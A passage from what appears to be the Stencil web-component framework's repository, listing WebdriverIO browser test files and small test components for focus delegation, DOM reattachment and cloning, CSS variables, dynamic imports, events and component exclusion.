    "path": "test/wdio/delegates-focus/delegates-focus.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'delegates-focus',\n  shadow: {\n    delegatesFocus: true,\n  },\n  styleUrl: 'delegates-focus.css',\n})\nexport class DelegatesFocus {\n  render() {\n    return (\n      <Host>\n        <input />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/delegates-focus/no-delegates-focus.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'no-delegates-focus',\n  shadow: {\n    delegatesFocus: false,\n  },\n  styleUrl: 'delegates-focus.css',\n})\nexport class DelegatesFocus {\n  render() {\n    return (\n      <Host>\n        <input />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/dom-reattach/cmp-root.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'dom-reattach',\n})\nexport class DomReattach {\n  @Prop({ mutable: true }) willLoad = 0;\n  @Prop({ mutable: true }) didLoad = 0;\n  @Prop({ mutable: true }) didUnload = 0;\n\n  componentWillLoad() {\n    this.willLoad++;\n  }\n\n  componentDidLoad() {\n    this.didLoad++;\n  }\n\n  disconnectedCallback() {\n    this.didUnload++;\n  }\n\n  render() {\n    return (\n      <div>\n        <p>componentWillLoad: {this.willLoad}</p>\n        <p>componentDidLoad: {this.didLoad}</p>\n        <p>disconnectedCallback: {this.didUnload}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/dom-reattach/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('dom-reattach', function () {\n  let showElement = true;\n\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <button onClick={reattach}>Toggle</button>\n          <dom-reattach></dom-reattach>\n        </>\n      ),\n    });\n\n    const element = document.querySelector('dom-reattach');\n    function reattach() {\n      if (showElement) {\n        element.remove();\n      } else {\n        document.body.appendChild(element);\n      }\n      showElement = !showElement;\n    }\n  });\n\n  it('should have proper values', async () => {\n    const lifecycleTextWithDisconnectCount = (disconnectCount: number) => `componentWillLoad: 1\ncomponentDidLoad: 1\ndisconnectedCallback: ${disconnectCount}`;\n\n    const $cmp = $('dom-reattach').$('div');\n    await expect($cmp).toHaveText(lifecycleTextWithDisconnectCount(0));\n\n    await $('button').click();\n    await expect($cmp).not.toExist();\n\n    await $('button').click();\n    await expect($cmp).toHaveText(lifecycleTextWithDisconnectCount(1));\n\n    await $('button').click();\n    await expect($cmp).not.toExist();\n\n    await $('button').click();\n    await expect($cmp).toHaveText(lifecycleTextWithDisconnectCount(2));\n  });\n});\n"
  },
  {
    "path": "test/wdio/dom-reattach-clone/cmp-deep-slot.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'dom-reattach-clone-deep-slot',\n  scoped: true,\n})\nexport class DomReattachCloneDeep {\n  render() {\n    return (\n      <div class=\"wrapper\">\n        <span class=\"component-mark-up\">Component mark-up</span>\n        <div>\n          <section>\n            <slot></slot>\n          </section>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/dom-reattach-clone/cmp-host.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'dom-reattach-clone-host',\n  scoped: true,\n})\nexport class DomReattachCloneHost {\n  render() {\n    return (\n      <Host>\n        <span class=\"component-mark-up\">Component mark-up</span>\n        <slot></slot>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/dom-reattach-clone/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('dom-reattach-clone', function () {\n  const clone = (id: string): void => {\n    const element = document.querySelector('#' + id + '.hydrated');\n    const parent = document.querySelector('#' + id + '-parent');\n    parent.appendChild(element.cloneNode(true));\n  };\n\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <style>button {{ display: 'block' }}</style>\n          <div id=\"simple-parent\">\n            <button onClick={() => clone('simple')} id=\"clone-simple\">\n              Clone simple\n            </button>\n            <dom-reattach-clone id=\"simple\">\n              <p>Slot content 1</p>\n            </dom-reattach-clone>\n          </div>\n\n          <div id=\"deep-parent\">\n            <button onClick={() => clone('deep')} id=\"clone-deep\">\n              Clone deep\n            </button>\n            <dom-reattach-clone-deep-slot id=\"deep\">\n              <p>Slot content 1</p>\n              <p>Slot content 2</p>\n            </dom-reattach-clone-deep-slot>\n          </div>\n\n          <div id=\"multiple-parent\">\n            <button onClick={() => clone('multiple')} id=\"clone-multiple\">\n              Clone multiple\n            </button>\n            <dom-reattach-clone id=\"multiple\">\n              <p>Slot content 1</p>\n              <p>Slot content 2</p>\n              <p>Slot content 3</p>\n            </dom-reattach-clone>\n          </div>\n\n          <div id=\"host-parent\">\n            <button onClick={() => clone('host')} id=\"clone-host\">\n              Clone host\n            </button>\n            <dom-reattach-clone-host id=\"host\">\n              <p>Slot content 1</p>\n              <p>Slot content 2</p>\n              <p>Slot content 3</p>\n              <p>Slot content 4</p>\n            </dom-reattach-clone-host>\n          </div>\n        </>\n      ),\n    });\n  });\n\n  const runTest = async (id: string, paragraphs: number) => {\n    await $(`#${id}`).waitForExist();\n\n    const component = $(`#${id}`);\n    const parent = $(`#${id}-parent`);\n\n    const button = await $(`#clone-${id}`);\n\n    await button.click();\n    await button.click();\n\n    await expect(await component.$$('.component-mark-up')).toHaveLength(1);\n    // each successive `dom-reattach-clone-*` element has one more `p` element than its predecessor in the DOM\n    // (see the markup in the template above)\n    await expect(await component.$$('p')).toHaveLength(paragraphs);\n\n    await expect(await parent.$$('.component-mark-up')).toHaveLength(3);\n    await expect(await parent.$$('p')).toHaveLength(paragraphs * 3);\n  };\n\n  it('should not double render', async () => {\n    await $('#simple.hydrated').waitForExist();\n    await runTest('simple', 1);\n  });\n\n  it('should not double render with deeper slots', async () => {\n    await $('#deep.hydrated').waitForExist();\n    await runTest('deep', 2);\n  });\n\n  it('should not double render with multiple slots', async () => {\n    await $('#multiple.hydrated').waitForExist();\n    await runTest('multiple', 3);\n  });\n\n  it('should not double render with Host element', async () => {\n    await $('#host.hydrated').waitForExist();\n    await runTest('host', 4);\n  });\n});\n"
  },
  {
    "path": "test/wdio/dom-reattach-clone/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'dom-reattach-clone',\n  scoped: true,\n})\nexport class DomReattachClone {\n  render() {\n    return (\n      <div class=\"wrapper\">\n        <span class=\"component-mark-up\">Component mark-up</span>\n        <slot></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/dynamic-css-variables/cmp.css",
    "content": ":root {\n  --font-color: blue;\n}\n\nheader {\n  color: var(--font-color);\n}\n"
  },
  {
    "path": "test/wdio/dynamic-css-variables/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('dynamic-css-variables', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <dynamic-css-variable></dynamic-css-variable>,\n    });\n  });\n\n  it('should dynamically change the inline css variable', async () => {\n    await expect($('header')).toHaveStyle({\n      color: 'rgb(0,0,255)',\n    });\n\n    const button = $('button');\n    await button.click();\n\n    await expect($('header')).toHaveStyle({\n      color: 'rgb(255,255,255)',\n    });\n\n    await button.click();\n\n    await expect($('header')).toHaveStyle({\n      color: 'rgb(0,0,255)',\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/dynamic-css-variables/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'dynamic-css-variable',\n  styleUrl: 'cmp.css',\n})\nexport class DynamicCssVariables {\n  @State() bgColor = 'white';\n\n  getBackgroundStyle() {\n    return this.bgColor && this.bgColor !== 'white' ? { background: this.bgColor, '--font-color': 'white' } : {};\n  }\n\n  changeColor() {\n    if (this.bgColor === 'white') {\n      this.bgColor = 'red';\n    } else {\n      this.bgColor = 'white';\n    }\n  }\n\n  render() {\n    return [\n      <header style={this.getBackgroundStyle()}>Dynamic CSS Variables!!</header>,\n      <main>\n        <p>\n          <button onClick={this.changeColor.bind(this)}>Change Color</button>\n        </p>\n      </main>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/dynamic-imports/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nimport type { DynamicImport } from './dynamic-import.js';\n\ndescribe('tag-names', () => {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => <dynamic-import></dynamic-import>,\n    });\n  });\n\n  it('should load content from dynamic import', async () => {\n    await expect($('dynamic-import').$('div')).toHaveText('1 hello1 world1');\n\n    const dynamicImport = document.querySelector('dynamic-import') as unknown as HTMLElement & DynamicImport;\n    dynamicImport.update();\n\n    await expect($('dynamic-import').$('div')).toHaveText('2 hello2 world2');\n  });\n});\n"
  },
  {
    "path": "test/wdio/dynamic-imports/dynamic-import.tsx",
    "content": "import { Component, h, Method, State } from '@stencil/core';\n\n@Component({\n  tag: 'dynamic-import',\n})\nexport class DynamicImport {\n  @State() value?: string;\n\n  async componentWillLoad() {\n    await this.update();\n  }\n\n  async getResult() {\n    return (await import('./module1.js')).getResult();\n  }\n\n  @Method()\n  async update() {\n    this.value = await this.getResult();\n  }\n\n  render() {\n    return <div>{this.value}</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/dynamic-imports/module1.tsx",
    "content": "import { hello, world } from './module2.js';\n\nlet state = 0;\n\nexport async function getResult(): Promise<string> {\n  const concat = (await import('./module3.js')).concat;\n  state++;\n  return concat(hello(), world()) + state;\n}\n"
  },
  {
    "path": "test/wdio/dynamic-imports/module2.tsx",
    "content": "let state = 0;\n\nexport function hello() {\n  return _word();\n}\n\nexport function world() {\n  return `world`;\n}\n\nfunction _word() {\n  state++;\n  return 'hello' + state;\n}\n"
  },
  {
    "path": "test/wdio/dynamic-imports/module3.tsx",
    "content": "let state = 0;\n\nexport function concat(a: string, b: string) {\n  state++;\n  return `${state} ${a} ${b}`;\n}\n"
  },
  {
    "path": "test/wdio/es5-addclass-svg/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('es5 $addClass svg', () => {\n  beforeEach(() => {\n    render({\n      template: () => <es5-addclass-svg></es5-addclass-svg>,\n    });\n  });\n\n  it('should add a class', async () => {\n    const svg = await browser.waitUntil(async () =>\n      document.querySelector('es5-addclass-svg').shadowRoot.querySelector('svg'),\n    );\n    expect(svg.getAttribute('class')).toContain('existing-css-class');\n    expect(svg.getAttribute('class')).not.toContain('sc-es5-addclass-svg');\n  });\n});\n"
  },
  {
    "path": "test/wdio/es5-addclass-svg/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'es5-addclass-svg',\n  shadow: true,\n})\nexport class SvgAddClass {\n  render() {\n    return (\n      <div>\n        <svg viewBox=\"0 0 8 8\" class=\"existing-css-class\">\n          <circle cx=\"2\" cy=\"2\" width=\"64\" height=\"64\" r=\"2\" />\n        </svg>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/esm-import/cmp-hydrated.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nconst css = `\n.esm-import-componentOnReady {\n  font-weight: bold;\n}\n`;\n\ndescribe('esm-webpack', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <esm-import prop-val=\"88\"></esm-import>\n          <style>{css}</style>\n        </>\n      ),\n    });\n\n    const elm = document.querySelector('esm-import');\n    elm.componentOnReady().then((readyElm) => {\n      readyElm.classList.add('esm-import-componentOnReady');\n    });\n  });\n\n  it('webpack', async () => {\n    await $('esm-import').waitForExist();\n    const host = document.querySelector('esm-import');\n\n    const hostStyles = window.getComputedStyle(host);\n    expect(hostStyles.borderBottomColor).toBe('rgb(0, 0, 255)');\n\n    /**\n     * text color defined by :host\n     */\n    const span = host.shadowRoot.querySelector('span');\n    const spanStyles = window.getComputedStyle(span);\n    expect(spanStyles.color).toBe('rgb(128, 0, 128)');\n\n    /**\n     * test color defined by h1 rule in global-css-entry.css\n     */\n    const h1 = host.shadowRoot.querySelector('h1');\n    const h1Styles = window.getComputedStyle(h1);\n    expect(h1Styles.color).toBe('rgb(128, 0, 0)');\n\n    const button = host.shadowRoot.querySelector('button');\n\n    const propVal = host.shadowRoot.querySelector('#propVal');\n    expect(propVal.textContent.trim()).toBe('propVal: 88');\n\n    const stateVal = host.shadowRoot.querySelector('#stateVal');\n    expect(stateVal.textContent.trim()).toBe('stateVal: mph');\n\n    const listenVal = host.shadowRoot.querySelector('#listenVal');\n    expect(listenVal.textContent.trim()).toBe('listenVal: 0');\n\n    buttonClick(button);\n\n    await expect($('>>> #propVal')).toHaveText('propVal: 89');\n    await expect($('>>> #listenVal')).toHaveText('listenVal: 1');\n\n    buttonClick(button);\n\n    await expect($('>>> #propVal')).toHaveText('propVal: 90');\n    await expect($('>>> #listenVal')).toHaveText('listenVal: 2');\n\n    const isReady = host.shadowRoot.querySelector('#isReady');\n    expect(isReady.textContent.trim()).toBe('componentOnReady: true');\n\n    const hydratedElm = document.querySelector('esm-import.hydrated');\n    expect(hydratedElm).not.toBe(null);\n  });\n});\n\nfunction buttonClick(button: HTMLButtonElement) {\n  const event = new window.CustomEvent('click', { bubbles: true, composed: true } as any);\n  button.dispatchEvent(event);\n}\n"
  },
  {
    "path": "test/wdio/esm-import/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nconst css = `\nbody {\n  color: yellow;\n}`;\n\ndescribe('esm-import', () => {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <style>{css}</style>\n          <esm-import prop-val=\"88\"></esm-import>\n        </>\n      ),\n    });\n  });\n\n  it('import', async () => {\n    await $('esm-import').waitForExist();\n    const host = document.querySelector('esm-import');\n\n    const hostStyles = window.getComputedStyle(host);\n    expect(hostStyles.borderBottomColor).toBe('rgb(0, 0, 255)');\n\n    /**\n     * text color defined by :host\n     */\n    const span = host.shadowRoot.querySelector('span');\n    const spanStyles = window.getComputedStyle(span);\n    expect(spanStyles.color).toBe('rgb(128, 0, 128)');\n\n    /**\n     * test color defined by h1 rule in global-css-entry.css\n     */\n    const h1 = host.shadowRoot.querySelector('h1');\n    const h1Styles = window.getComputedStyle(h1);\n    expect(h1Styles.color).toBe('rgb(128, 0, 0)');\n\n    const button = host.shadowRoot.querySelector('button');\n\n    const propVal = host.shadowRoot.querySelector('#propVal');\n    expect(propVal.textContent.trim()).toBe('propVal: 88');\n\n    const stateVal = host.shadowRoot.querySelector('#stateVal');\n    expect(stateVal.textContent.trim()).toBe('stateVal: mph');\n\n    const listenVal = host.shadowRoot.querySelector('#listenVal');\n    expect(listenVal.textContent.trim()).toBe('listenVal: 0');\n\n    buttonClick(button);\n\n    await expect($('>>> #propVal')).toHaveText('propVal: 89');\n    await expect($('>>> #listenVal')).toHaveText('listenVal: 1');\n\n    buttonClick(button);\n\n    await expect($('>>> #propVal')).toHaveText('propVal: 90');\n    await expect($('>>> #listenVal')).toHaveText('listenVal: 2');\n\n    const isReady = host.shadowRoot.querySelector('#isReady');\n    expect(isReady.textContent.trim()).toBe('componentOnReady: true');\n  });\n});\n\nfunction buttonClick(button: HTMLButtonElement) {\n  const event = new window.CustomEvent('click', { bubbles: true, composed: true } as any);\n  button.dispatchEvent(event);\n}\n"
  },
  {
    "path": "test/wdio/esm-import/esm-import.css",
    "content": "\n:host {\n  display: block;\n  padding: 20px;\n  border: 10px solid rgb(0, 0, 255);\n  color: rgb(128, 0, 128);\n  --color: rgb(0, 128, 0);\n}\n\np {\n  color: var(--color);\n}\n"
  },
  {
    "path": "test/wdio/esm-import/esm-import.tsx",
    "content": "import { Component, Element, Event, EventEmitter, h, Listen, Method, Prop, State } from '@stencil/core';\n\n@Component({\n  tag: 'esm-import',\n  styleUrl: 'esm-import.css',\n  shadow: true,\n})\nexport class EsmImport {\n  @Element() el!: any;\n  @Prop() propVal = 0;\n  @State() isReady = 'false';\n  @State() stateVal?: string;\n  @State() listenVal = 0;\n  @State() someEventInc = 0;\n  @Event() someEvent!: EventEmitter;\n\n  @Listen('click')\n  testClick() {\n    this.listenVal++;\n  }\n\n  @Method()\n  async someMethod() {\n    this.someEvent.emit();\n  }\n\n  testMethod() {\n    this.el.someMethod();\n  }\n\n  componentWillLoad() {\n    this.stateVal = 'mph';\n    this.el.componentOnReady().then(() => {\n      this.isReady = 'true';\n    });\n  }\n\n  componentDidLoad() {\n    this.el.parentElement.addEventListener('someEvent', () => {\n      this.el.propVal++;\n    });\n  }\n\n  render() {\n    return (\n      <div>\n        <h1>esm-import</h1>\n        <span>text color defined by :host</span>\n        <p id=\"propVal\">propVal: {this.propVal}</p>\n        <p id=\"stateVal\">stateVal: {this.stateVal}</p>\n        <p id=\"listenVal\">listenVal: {this.listenVal}</p>\n        <p>\n          <button onClick={this.testMethod.bind(this)}>Test</button>\n        </p>\n        <p id=\"isReady\">componentOnReady: {this.isReady}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/event-basic/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('event-basic', function () {\n  beforeEach(() => {\n    render({\n      template: () => <event-basic></event-basic>,\n    });\n  });\n\n  it('should dispatch an event on load', async () => {\n    await expect($('#counter')).toHaveText('1');\n  });\n});\n"
  },
  {
    "path": "test/wdio/event-basic/cmp.tsx",
    "content": "import { Component, Event, EventEmitter, h, Listen, State } from '@stencil/core';\n\n@Component({\n  tag: 'event-basic',\n})\nexport class EventBasic {\n  @Event() testEvent: EventEmitter;\n\n  @State() counter = 0;\n\n  @Listen('testEvent')\n  testEventHandler() {\n    this.counter++;\n  }\n\n  componentDidLoad() {\n    this.testEvent.emit();\n  }\n\n  render() {\n    return (\n      <div>\n        <p>testEvent is emitted on componentDidLoad</p>\n        <div>\n          <p>\n            Emission count: <span id=\"counter\">{this.counter}</span>\n          </p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/event-custom-type/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('event-custom', function () {\n  beforeEach(() => {\n    render({\n      template: () => <event-custom-type></event-custom-type>,\n    });\n  });\n\n  it('should dispatch an event on load', async () => {\n    await expect($('#counter')).toHaveText('1');\n  });\n\n  it('should emit a complex type', async () => {\n    await expect($('#lastValue')).toHaveText('{\"value\":\"Test value\"}');\n  });\n});\n"
  },
  {
    "path": "test/wdio/event-custom-type/cmp.tsx",
    "content": "import { Component, Event, EventEmitter, h, Listen, State } from '@stencil/core';\n\nexport interface TestEventDetail {\n  value: string;\n}\n\n@Component({\n  tag: 'event-custom-type',\n})\nexport class EventCustomType {\n  @Event() testEvent: EventEmitter<TestEventDetail>;\n\n  @State() counter = 0;\n  @State() lastEventValue: TestEventDetail;\n\n  @Listen('testEvent')\n  testEventHandler(newValue: CustomEvent<TestEventDetail>) {\n    this.counter++;\n    this.lastEventValue = newValue.detail;\n  }\n\n  componentDidLoad() {\n    this.testEvent.emit({\n      value: 'Test value',\n    });\n  }\n\n  render() {\n    return (\n      <div>\n        <p>testEvent is emitted on componentDidLoad</p>\n        <div>\n          <p>\n            Emission count: <span id=\"counter\">{this.counter}</span>\n          </p>\n          <p>\n            Last emitted value: <span id=\"lastValue\">{JSON.stringify(this.lastEventValue)}</span>\n          </p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/event-listener-capture/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('event-listener-capture', function () {\n  const eventListenerCaptureCmp = () => $('event-listener-capture');\n\n  beforeEach(() => {\n    render({\n      template: () => <event-listener-capture></event-listener-capture>,\n    });\n  });\n\n  it('should render', async () => {\n    await expect(eventListenerCaptureCmp()).toBePresent();\n  });\n\n  it('should increment counter on click', async () => {\n    const counter = $('#counter');\n    await expect(counter).toHaveText('0');\n\n    const p = eventListenerCaptureCmp().$('#incrementer');\n    await expect(p).toBePresent();\n    await p.click();\n    await expect(counter).toHaveText('1');\n  });\n});\n"
  },
  {
    "path": "test/wdio/event-listener-capture/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'event-listener-capture',\n})\nexport class EventListenerCapture {\n  @State() counter = 0;\n\n  render() {\n    return (\n      <div>\n        <p>Click the text below to trigger a capture style event</p>\n        <div>\n          <p id=\"incrementer\" onClickCapture={() => this.counter++}>\n            Clicked: <span id=\"counter\">{this.counter}</span> time(s)\n          </p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/event-listener-capture/event-re-register.css",
    "content": ":host {\n  display: block;\n  padding: 5px;\n  background: bisque;\n  cursor: pointer;\n  max-width: 300px;\n}\n:host(:focus) {\n  outline: 2px solid blue;\n}\n"
  },
  {
    "path": "test/wdio/event-listener-capture/event-re-register.test.tsx",
    "content": "// @ts-expect-error will be resolved by WDIO\nimport { defineCustomElement } from '/test-components/event-re-register.js';\n\ndefineCustomElement();\n\ndescribe('event-listener-capture using lazy load components', function () {\n  const eventListenerCaptureCmp = () => $('event-re-register');\n\n  afterEach(() => {\n    const elem = document.querySelector('event-re-register') as HTMLElement;\n    if (elem) {\n      elem.remove();\n    }\n  });\n\n  it('should only attach keydown event listener once', async () => {\n    const elem = document.createElement('event-re-register') as HTMLElement;\n    document.body.appendChild(elem);\n\n    const reattach = eventListenerCaptureCmp();\n    await expect(reattach).toBePresent();\n\n    // focus on element\n    await reattach.click();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n\n    // check if event fired 3 times\n    await expect(reattach).toHaveText(expect.stringContaining('Event fired times: 3'));\n\n    // remove node from DOM\n    elem.remove();\n\n    // reattach node to DOM\n    document.body.appendChild(elem);\n\n    // retrigger event\n    await reattach.click();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n\n    // check if event fired 6 times\n    await expect(reattach).toHaveText(expect.stringContaining('Event fired times: 6'));\n  });\n\n  it('should attach keydown event listener once per component', async () => {\n    const elem = document.createElement('event-re-register') as HTMLElement;\n    elem.setAttribute('id', 'elem1');\n    document.body.appendChild(elem);\n\n    const reattach = $('#elem1');\n    await expect(reattach).toBePresent();\n\n    // focus on element 1\n    await reattach.click();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n\n    // check if event fired 3 times on first element\n    await expect(reattach).toHaveText(expect.stringContaining('Event fired times: 3'), {\n      message: 'Second element should have fired 3 times',\n    });\n\n    const elem2 = document.createElement('event-re-register') as HTMLElement;\n    elem2.setAttribute('id', 'elem2');\n    document.body.appendChild(elem2);\n\n    const reattach2 = $('#elem2');\n    await expect(reattach2).toBePresent();\n\n    // focus on element 2\n    await reattach2.click();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n\n    // check if event fired 3 times on second element\n    await expect(reattach2).toHaveText(expect.stringContaining('Event fired times: 3'), {\n      message: 'Second element should have fired 3 times',\n    });\n\n    // remove node from DOM\n    elem.remove();\n    elem2.remove();\n\n    // reattach node to DOM\n    document.body.appendChild(elem);\n    document.body.appendChild(elem2);\n\n    // retrigger event\n    await reattach.click();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n\n    // check if event fired 6 times on first element\n    await expect(reattach).toHaveText(expect.stringContaining('Event fired times: 6'), {\n      message: 'First element should have fired 3 times',\n    });\n\n    // retrigger event on element 2\n    await reattach2.click();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n    await browser.action('key').down('a').pause(100).up('a').perform();\n\n    // check if event fired 3 times on second element\n    await expect(reattach2).toHaveText(expect.stringContaining('Event fired times: 6'), {\n      message: 'Second element should have fired 3 times',\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/event-listener-capture/event-re-register.tsx",
    "content": "import { Component, ComponentInterface, h, Host, Listen, State } from '@stencil/core';\n\n@Component({\n  tag: 'event-re-register',\n  styleUrl: 'event-re-register.css',\n  shadow: true,\n})\nexport class EventReRegister implements ComponentInterface {\n  @State() eventFiredTimes: number = 0;\n  @Listen('keydown')\n  handleKeydown(event: KeyboardEvent) {\n    this.eventFiredTimes++;\n    console.log(event);\n  }\n\n  connectedCallback() {\n    console.log('connected');\n  }\n  disconnectedCallback() {\n    console.log('disconnected');\n  }\n  render() {\n    return (\n      <Host tabindex=\"1\">\n        <ul id=\"reattach\">\n          <li>Focus this component;</li>\n          <li>Press key;</li>\n          <li>See console output</li>\n          <li>Press 'Reconnect' button</li>\n          <li>Repeat steps 1-3</li>\n        </ul>\n        <p>Event fired times: {this.eventFiredTimes}</p>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/exclude-component/exclude-component-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'exclude-component-root',\n})\nexport class ExcludeComponentRoot {\n  render() {\n    return (\n      <div>\n        <h1>Exclude Component Test</h1>\n        <p>The component below should not be defined:</p>\n        <excluded-component></excluded-component>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/exclude-component/exclude-component.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('exclude-component', () => {\n  before(async () => {\n    render({\n      components: [],\n      template: () => <exclude-component-root></exclude-component-root>,\n    });\n\n    await $('exclude-component-root').waitForExist();\n  });\n\n  it('should not define the excluded component', async () => {\n    // The excluded-component element should not exist in the DOM\n    const excludedElement = await $('excluded-component');\n    await expect(excludedElement).not.toExist();\n\n    // But it should not be upgraded to a custom element\n    // Check that customElements.get() returns undefined\n    const isComponentDefined = await browser.execute(() => {\n      return customElements.get('excluded-component') !== undefined;\n    });\n\n    expect(isComponentDefined).toBe(false);\n  });\n\n  it('should not render excluded component content', async () => {\n    // The excluded component's content should not be rendered\n    const excludedContent = await $('.excluded-content');\n    await expect(excludedContent).not.toExist();\n  });\n\n  it('should not be hydrated', async () => {\n    // The excluded component should not have the hydrated class\n    const excludedElement = await $('exclude-component-root');\n    const hasHydratedClass = await excludedElement.getAttribute('class');\n\n    expect(hasHydratedClass).toBeFalsy();\n  });\n});\n"
  },
  {
    "path": "test/wdio/exclude-component/excluded-component.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'excluded-component',\n})\nexport class ExcludedComponent {\n  render() {\n    return <div class=\"excluded-content\">This component should be excluded from the build</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/external-imports/cmp-a.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { store } from './external-store.js';\n\n@Component({\n  tag: 'external-import-a',\n})\nexport class ExternalImportA {\n  first?: string;\n  last?: string;\n\n  componentWillLoad() {\n    const data = store().data;\n    this.first = data.first;\n    this.last = data.last;\n  }\n\n  render() {\n    return (\n      <div>\n        {this.first} {this.last}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/external-imports/cmp-b.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { store } from './external-store.js';\n\n@Component({\n  tag: 'external-import-b',\n})\nexport class ExternalImportB {\n  first?: string;\n  last?: string;\n\n  componentWillLoad() {\n    const data = store().data;\n    this.first = data.first;\n    this.last = data.last;\n  }\n\n  render() {\n    return (\n      <div>\n        {this.first} {this.last}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/external-imports/cmp-c.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { data } from './external-data.js';\n\n@Component({\n  tag: 'external-import-c',\n})\nexport class ExternalImportB {\n  first?: string;\n  last?: string;\n\n  componentWillLoad() {\n    this.first = data().first;\n    this.last = data().last;\n  }\n\n  render() {\n    return (\n      <div>\n        {this.first} {this.last}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/external-imports/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('external-imports', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <external-import-a></external-import-a>\n          <external-import-b></external-import-b>\n          <external-import-c></external-import-c>\n        </>\n      ),\n    });\n  });\n\n  it('render all components without errors', async () => {\n    const elm = $('external-import-a').$('div');\n    await expect(elm).toHaveText('Marty McFly');\n\n    const elm2 = $('external-import-b').$('div');\n    await expect(elm2).toHaveText('Marty McFly');\n\n    const elm3 = $('external-import-c').$('div');\n    await expect(elm3).toHaveText('Marty McFly');\n  });\n});\n"
  },
